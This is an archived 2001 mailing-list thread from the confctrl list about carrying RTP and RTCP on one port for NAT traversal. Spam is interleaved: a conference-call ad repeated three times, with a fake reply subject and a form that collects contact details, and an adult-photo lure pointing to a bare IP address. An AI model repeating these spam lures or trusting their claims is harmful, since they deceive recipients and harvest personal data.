through the RTCP even when no one is talking, we have no need to signal an
explicit RTCP port through nats, we double the available port space, and so
on. You have my vote on allowing RTCP on the same port as RTP. To
disambiguate, you just need to disallow RTP from using a few of the payload
types that would make an RTP packet look like RTCP.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Sat Jul 14 00:39:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA04972
	for confctrl-outgoing; Sat, 14 Jul 2001 00:39:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA04959
	for <confctrl@zephyr.isi.edu>; Sat, 14 Jul 2001 00:39:22 -0700 (PDT)
Received: from mail_server.moe.gov.sa ([212.33.168.18])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6E7dQL04323;
	Sat, 14 Jul 2001 00:39:27 -0700 (PDT)
Received: from testudio.com (raptor.moe.gov.sa [128.128.100.202]) by mail_server.moe.gov.sa with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 33G55LJ6; Fri, 13 Jul 2001 11:32:12 +0100
Message-ID: <00004eff1054$000057fb$00004bbd@testudio.com>
To: <newideas@americallint.net>
From: dealsmart1@testudio.com
Subject: RE: thankyou                         19389
Date: Fri, 13 Jul 2001 01:33:08 -0700
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY vLink=3D#c0c0c0 link=3D#c0c0c0 bgColor=3D#000000 leftMargin=3D0><FON=
T 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D#999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#ff0000 size=3D5><B>Connects Up To 100 Participants!</B><=
/FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D#999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBODY><=
/TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#999999 size=3D4>If you like saving m=
oney, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#999999 size=3D2>Required Input Field<FONT color=3D#ff000=
0 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D#333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D#ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbox881@excite.com?subject=3DConference_Inqui=
ry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D"100%">
        <TBODY>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D"Submit Information" name=3Dsubmit> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
	<P align=3Dcenter><FONT color=3D999999 face=3D"Arial, Helvetica, sans-ser=
if" size=3D5>
	This could be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-ser=
if" size=3D2>
	<BR><A href=3D"mailto:inbox722@excite.com?subject=3DDirect Marketing">
	<FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FONT=
></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D"Arial, Helvetica, sans-serif" color=3D=
#999999 
      size=3D1>This email is to those persons that have contacted Conferen=
ce Calls 
      for Less regarding available services or product information. If thi=
s 
      email is reaching you in error and you feel that you have not contac=
ted 
      us, <FONT color=3D#666666><A 
      href=3D"mailto:rem0veplese@excite.com?subject=3DRemove_Conferencing"=
>Click 
      here</A></FONT>. We will gladly remove you from our mailing 
      list.</FONT><BR></TD></TR></TBODY></TABLE></P></CENTER></FONT></BODY=
></HTML>




From confctrl-owner  Sun Jul 15 01:14:55 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA04773
	for confctrl-outgoing; Sun, 15 Jul 2001 01:14:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA04762
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 01:14:53 -0700 (PDT)
Received: from mail_server.moe.gov.sa ([212.33.168.18])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6F8F0L13347;
	Sun, 15 Jul 2001 01:15:00 -0700 (PDT)
Received: from testudio.com (raptor.moe.gov.sa [128.128.100.202]) by mail_server.moe.gov.sa with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 33G55LJ6; Fri, 13 Jul 2001 11:32:12 +0100
Message-ID: <00004eff1054$000057fb$00004bbd@testudio.com>
To: <newideas@americallint.net>
From: dealsmart1@testudio.com
Subject: RE: thankyou                         19389
Date: Fri, 13 Jul 2001 01:33:08 -0700
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY vLink=3D#c0c0c0 link=3D#c0c0c0 bgColor=3D#000000 leftMargin=3D0><FON=
T 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D#999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#ff0000 size=3D5><B>Connects Up To 100 Participants!</B><=
/FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D#999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBODY><=
/TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#999999 size=3D4>If you like saving m=
oney, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#999999 size=3D2>Required Input Field<FONT color=3D#ff000=
0 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D#333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D#ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbox881@excite.com?subject=3DConference_Inqui=
ry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D"100%">
        <TBODY>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D"Submit Information" name=3Dsubmit> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
	<P align=3Dcenter><FONT color=3D999999 face=3D"Arial, Helvetica, sans-ser=
if" size=3D5>
	This could be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-ser=
if" size=3D2>
	<BR><A href=3D"mailto:inbox722@excite.com?subject=3DDirect Marketing">
	<FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FONT=
></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D"Arial, Helvetica, sans-serif" color=3D=
#999999 
      size=3D1>This email is to those persons that have contacted Conferen=
ce Calls 
      for Less regarding available services or product information. If thi=
s 
      email is reaching you in error and you feel that you have not contac=
ted 
      us, <FONT color=3D#666666><A 
      href=3D"mailto:rem0veplese@excite.com?subject=3DRemove_Conferencing"=
>Click 
      here</A></FONT>. We will gladly remove you from our mailing 
      list.</FONT><BR></TD></TR></TBODY></TABLE></P></CENTER></FONT></BODY=
></HTML>




From confctrl-owner  Sun Jul 15 02:33:57 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA08039
	for confctrl-outgoing; Sun, 15 Jul 2001 02:33:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA08034
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 02:33:56 -0700 (PDT)
Received: from rhenium (rhenium.btinternet.com [194.73.73.93])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6F9Y5L20617
	for <confctrl@isi.edu>; Sun, 15 Jul 2001 02:34:07 -0700 (PDT)
Received: from [213.122.224.156] (helo=tkw)
	by rhenium with smtp (Exim 3.22 #9)
	id 15LiHj-00040I-00; Sun, 15 Jul 2001 10:33:55 +0100
Message-ID: <003001c10d11$49042ca0$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
References: <B65B4F8437968F488A01A940B21982BF020D6204@DYN-EXCH-001.dynamicsoft.com>
Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Sun, 15 Jul 2001 10:33:59 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

According to table 2 of RFC 1890 the RTCP 'payload types' are already
reserved, so there shouldn't be a problem.

The same thought had occurred to me, and I've been trying to think of
reasons why RTP and RTCP are on different ports.  The only reason I can
think of is following the principle of only de-muxing at one layer.  (I
can't see how the separation helps multicast routers for example.)  To the
uninitiated this seems to be a bit of dogma over practicality, and for me
this instance of de-muxing would fall into a grey area with regard to this
principle.  However, it would be nice to know what the original reason was.

The main problem with this is surely backwards compatibility.  I can not see
any way to make it work with existing clients.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: 'Christian Huitema' <huitema@windows.microsoft.com>; Jonathan Rosenberg
<jdrosen@dynamicsoft.com>; David Yon <yon@dialout.net>; Fairlie-Cuninghame,
Robert <rfairlie@nuera.com>; confctrl@isi.edu <confctrl@ISI.EDU>
Sent: 14 July 2001 04:26
Subject: RE: Comedia Issues.


>
>
>
>
> > -----Original Message-----
> > From: Christian Huitema [mailto:huitema@windows.microsoft.com]
> > Sent: Friday, July 13, 2001 5:01 PM
> > To: Jonathan Rosenberg; David Yon; Fairlie-Cuninghame, Robert;
> > confctrl@isi.edu
> > Subject: RE: Comedia Issues.
> >
> >
> > If we really want to solve NAT traversal, we should also remove the
> > requirement to have RTP run on an even port, and RTCP on the next odd
> > port. In fact, we should run RTP and RTCP on the same port.
>
> Yes!! That would solve so many problems.... keepalives through nats are
done
> through the RTCP even when no one is talking, we have no need to signal an
> explicit RTCP port through nats, we double the available port space, and
so
> on. You have my vote on allowing RTCP on the same port as RTP. To
> disambiguate, you just need to disallow RTP from using a few of the
payload
> types that would make an RTP packet look like RTCP.
>
> -Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>


From confctrl-owner  Sun Jul 15 03:55:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA11284
	for confctrl-outgoing; Sun, 15 Jul 2001 03:55:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA11279
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 03:55:45 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6FAtpL00008
	for <confctrl@ISI.EDU>; Sun, 15 Jul 2001 03:55:56 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yonhome [24.180.58.118])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id GAA13381;
	Sun, 15 Jul 2001 06:56:51 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010715064959.00a75bd0@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sun, 15 Jul 2001 06:55:24 -0400
To: "Pete Cordell" <pete@tech-know-ware.com>,
        "'Christian Huitema'" <huitema@windows.microsoft.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
In-Reply-To: <003001c10d11$49042ca0$0200000a@tkw>
References: <B65B4F8437968F488A01A940B21982BF020D6204@DYN-EXCH-001.dynamicsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I was just about to point out that this had strayed away from being 
relevant to comedia, and to please at least change the subject line, when I 
noticed that you had done exactly that.  This all somewhat supports my 
point that comedia is not the draft where NAT/firewall traversal should be 
attacked, primarily because there is so much baggage already in the 
non-connection-oriented protocol space.

That aside, I do owe the list another response on the topic (comedia that 
is), but have to get clear of the latest life-at-a-startup firedrill 
first.  Apologies for the delay, I'll be back on the air shortly.

At 05:33 AM 7/15/2001, Pete Cordell wrote:
>According to table 2 of RFC 1890 the RTCP 'payload types' are already
>reserved, so there shouldn't be a problem.
>
>The same thought had occurred to me, and I've been trying to think of
>reasons why RTP and RTCP are on different ports.  The only reason I can
>think of is following the principle of only de-muxing at one layer.  (I
>can't see how the separation helps multicast routers for example.)  To the
>uninitiated this seems to be a bit of dogma over practicality, and for me
>this instance of de-muxing would fall into a grey area with regard to this
>principle.  However, it would be nice to know what the original reason was.
>
>The main problem with this is surely backwards compatibility.  I can not see
>any way to make it work with existing clients.
>
>Pete.
>
>=============================================
>Pete Cordell
>Tech-Know-Ware
>pete@tech-know-ware.com
>+44 1473 635863
>=============================================
>
>----- Original Message -----
>From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
>To: 'Christian Huitema' <huitema@windows.microsoft.com>; Jonathan Rosenberg
><jdrosen@dynamicsoft.com>; David Yon <yon@dialout.net>; Fairlie-Cuninghame,
>Robert <rfairlie@nuera.com>; confctrl@isi.edu <confctrl@ISI.EDU>
>Sent: 14 July 2001 04:26
>Subject: RE: Comedia Issues.
>
>
> >
> >
> >
> >
> > > -----Original Message-----
> > > From: Christian Huitema [mailto:huitema@windows.microsoft.com]
> > > Sent: Friday, July 13, 2001 5:01 PM
> > > To: Jonathan Rosenberg; David Yon; Fairlie-Cuninghame, Robert;
> > > confctrl@isi.edu
> > > Subject: RE: Comedia Issues.
> > >
> > >
> > > If we really want to solve NAT traversal, we should also remove the
> > > requirement to have RTP run on an even port, and RTCP on the next odd
> > > port. In fact, we should run RTP and RTCP on the same port.
> >
> > Yes!! That would solve so many problems.... keepalives through nats are
>done
> > through the RTCP even when no one is talking, we have no need to signal an
> > explicit RTCP port through nats, we double the available port space, and
>so
> > on. You have my vote on allowing RTCP on the same port as RTP. To
> > disambiguate, you just need to disallow RTP from using a few of the
>payload
> > types that would make an RTP packet look like RTCP.
> >
> > -Jonathan R.
> > ---
> > Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> >


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Sun Jul 15 04:21:15 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA12417
	for confctrl-outgoing; Sun, 15 Jul 2001 04:21:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA12407
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 04:21:13 -0700 (PDT)
Received: from mail_server.moe.gov.sa ([212.33.168.18])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6FBLJL04180;
	Sun, 15 Jul 2001 04:21:19 -0700 (PDT)
Received: from testudio.com (raptor.moe.gov.sa [128.128.100.202]) by mail_server.moe.gov.sa with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 33G55LJ6; Fri, 13 Jul 2001 11:32:12 +0100
Message-ID: <00004eff1054$000057fb$00004bbd@testudio.com>
To: <newideas@americallint.net>
From: dealsmart1@testudio.com
Subject: RE: thankyou                         19389
Date: Fri, 13 Jul 2001 01:33:08 -0700
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY vLink=3D#c0c0c0 link=3D#c0c0c0 bgColor=3D#000000 leftMargin=3D0><FON=
T 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D#999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#ff0000 size=3D5><B>Connects Up To 100 Participants!</B><=
/FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D#999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBODY><=
/TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#999999 size=3D4>If you like saving m=
oney, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#999999 size=3D2>Required Input Field<FONT color=3D#ff000=
0 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D#333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D#ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbox881@excite.com?subject=3DConference_Inqui=
ry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D"100%">
        <TBODY>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#ff0000 size=3D2=
>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D"Submit Information" name=3Dsubmit> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
	<P align=3Dcenter><FONT color=3D999999 face=3D"Arial, Helvetica, sans-ser=
if" size=3D5>
	This could be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-ser=
if" size=3D2>
	<BR><A href=3D"mailto:inbox722@excite.com?subject=3DDirect Marketing">
	<FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FONT=
></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D"Arial, Helvetica, sans-serif" color=3D=
#999999 
      size=3D1>This email is to those persons that have contacted Conferen=
ce Calls 
      for Less regarding available services or product information. If thi=
s 
      email is reaching you in error and you feel that you have not contac=
ted 
      us, <FONT color=3D#666666><A 
      href=3D"mailto:rem0veplese@excite.com?subject=3DRemove_Conferencing"=
>Click 
      here</A></FONT>. We will gladly remove you from our mailing 
      list.</FONT><BR></TD></TR></TBODY></TABLE></P></CENTER></FONT></BODY=
></HTML>




From confctrl-owner  Sun Jul 15 13:46:08 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA04597
	for confctrl-outgoing; Sun, 15 Jul 2001 13:46:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA04592
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 13:46:06 -0700 (PDT)
Received: from Sender (bzq-228-53.red.bezeqint.net [212.179.228.53])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6FKkHL12040
	for <confctrl@isi.edu>; Sun, 15 Jul 2001 13:46:17 -0700 (PDT)
Message-Id: <200107152046.f6FKkHL12040@tnt.isi.edu>
From: scott<scott_menly@hotmail.com>
To: confctrl@ISI.EDU
Subject: hi
Reply-To: scott_menly@hotmail.com
X-Mailer: Advanced Mass Sender 3.1b (Built-In Smtp relay)
Mime-Version: 1.0
Content-Type: text/plain; charset="koi8-r"
Date: Sun, 15 Jul 2001 23:45:45 +0200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi buddy,
Check those incredible naked photos,
it's the best site i had visit in,  ever !

http://204.177.92.193/party/aff/vengo/index06.jhtml?PIN=011447

Bye,
Scott

contact me on icq (where r u?)

From confctrl-owner  Sun Jul 15 16:18:06 2001
Return-Path: <owner-confctrl>
